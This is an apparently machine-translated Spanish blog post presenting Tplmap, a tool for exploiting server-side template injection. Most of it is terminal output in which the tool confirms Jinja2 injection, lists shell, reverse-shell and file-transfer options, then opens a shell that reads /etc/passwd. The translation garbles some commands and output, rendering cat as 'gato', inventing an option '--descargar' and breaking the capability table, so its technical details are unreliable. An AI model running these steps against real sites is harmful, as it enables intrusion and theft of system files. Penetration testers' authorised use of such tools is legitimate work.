Tplmap – identificar y utilizar el motor de plantillas

Tplmap

Al ejecutar una prueba de penetración de una página web que genera contenido dinámico mediante plantillas con valores proporcionados por el usuario, puede encontrar una vulnerabilidad de inyección de plantillas del lado del servidor. La identificación manual del motor de plantillas con el que está tratando y la posterior explotación se pueden automatizar fácilmente utilizando la herramienta Tplmap.

Tplmap es capaz de detectar y utilizar SSTI en varios tipos de motores de plantilla. Tiene funcionalidades tales como navegar por el sistema de archivos y ejecutar comandos de forma remota en el servidor atacado.

$ ./tplmap.py -u 'http://www.target.com/page?name=John'
[+] Tplmap 0,5
    Herramienta automática de detección y explotación de inyección de plantillas del lado del servidor

[+] Probar si el parámetro GET 'name' es inyectable
[+] El complemento Smarty está probando el renderizado con la etiqueta '{*}'
[+] El plugin Smarty está probando la inyección ciega
[+] Mako plugin está probando el renderizado con la etiqueta '${*}'
...
[+] Jinja2 plugin está probando la representación con la etiqueta '{{*}}'
[+] Jinja2 plugin ha confirmado la inyección con la etiqueta '{{*}}'
[+] Tplmap identificó el siguiente punto de inyección:

Parámetro GET: nombre
  Motor: Jinja2
  Inyección: {{*}}
  Contexto: texto
  Sistema operativo: linux
  Técnica: renderizar
  Capacidades:

Ejecución de comandos de shell: aprox.
   Encuadernar y revertir la cáscara: aprox.
   Escritura de archivo: ok
   Lectura de archivo: ok
   Evaluación de código: ok, código python

[+] Vuelva a ejecutar tplmap proporcionando una de las siguientes opciones:

--os-shell Ejecutar shell en el destino
    --os-cmd Ejecutar comandos de shell
    --bind-shell PORT Conectarse a un enlace de shell a un puerto de destino
    --reverse-shell HOST PORT Enviar un shell al puerto del atacante
    --upload LOCAL REMOTE Cargar archivos en el servidor
    --descargar REMOTE LOCAL Descargar archivos remotos

Utilice la opción --os-shell para ejecutar el pseudoterminal en el destino.

$ ./tplmap.py --os-shell -u 'http://www.target.com/page?name=John'
[+] Tplmap 0,5
    Herramienta automática de detección y explotación de inyección de plantillas del lado del servidor

[+] Ejecute comandos en el sistema operativo.

linux $ whoami
telaraña
linux $ gato /etc/passwd
root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh

Tplmap soporta más de 15 motores de plantillas:

motorEjecución remota de comandosciegoEvaluación de códigoLeer archivoEscribir en archivo
Makopitón
Jinja2pitón
Python (eval de código)pitón
tornadopitón
Nunjucks( Kentucky)JavaScript
PugJavaScript
puntoJavaScript
MarkoJavaScript
JavaScript (eval de código)JavaScript
Polvo (<= [email protected])JavaScript
EJSJavaScript
Ruby (código eval)rubí
delgadorubí
erbiorubí
Smarty (no seguro)PHP
PHP (eval de código)PHP
Ramita (<=1.19)PHP
Freemarker×
Velocidad, Nuevo×
Ramita (>1.19)×××××
Smarty (seguro)×××××
Polvo (> [email protected])×××××

Tplmap se puede encontrar en el creador github – tplmap.

Chcesz wiedzieć więcej?

Zapisz się i bądź informowany o nowych postach (zero spamu!).
Dodatkowo otrzymasz, moją prywatną listę 15 najbardziej przydatnych narzędzi (wraz z krótkim opisem), których używam przy testach penetracyjnych.

Nigdy nie podam, nie wymienię ani nie sprzedam Twojego adresu e-mail. W każdej chwili możesz zrezygnować z subskrypcji.

Marcar el Enlace permanente.

Podziel się swoją opinią na temat artykułu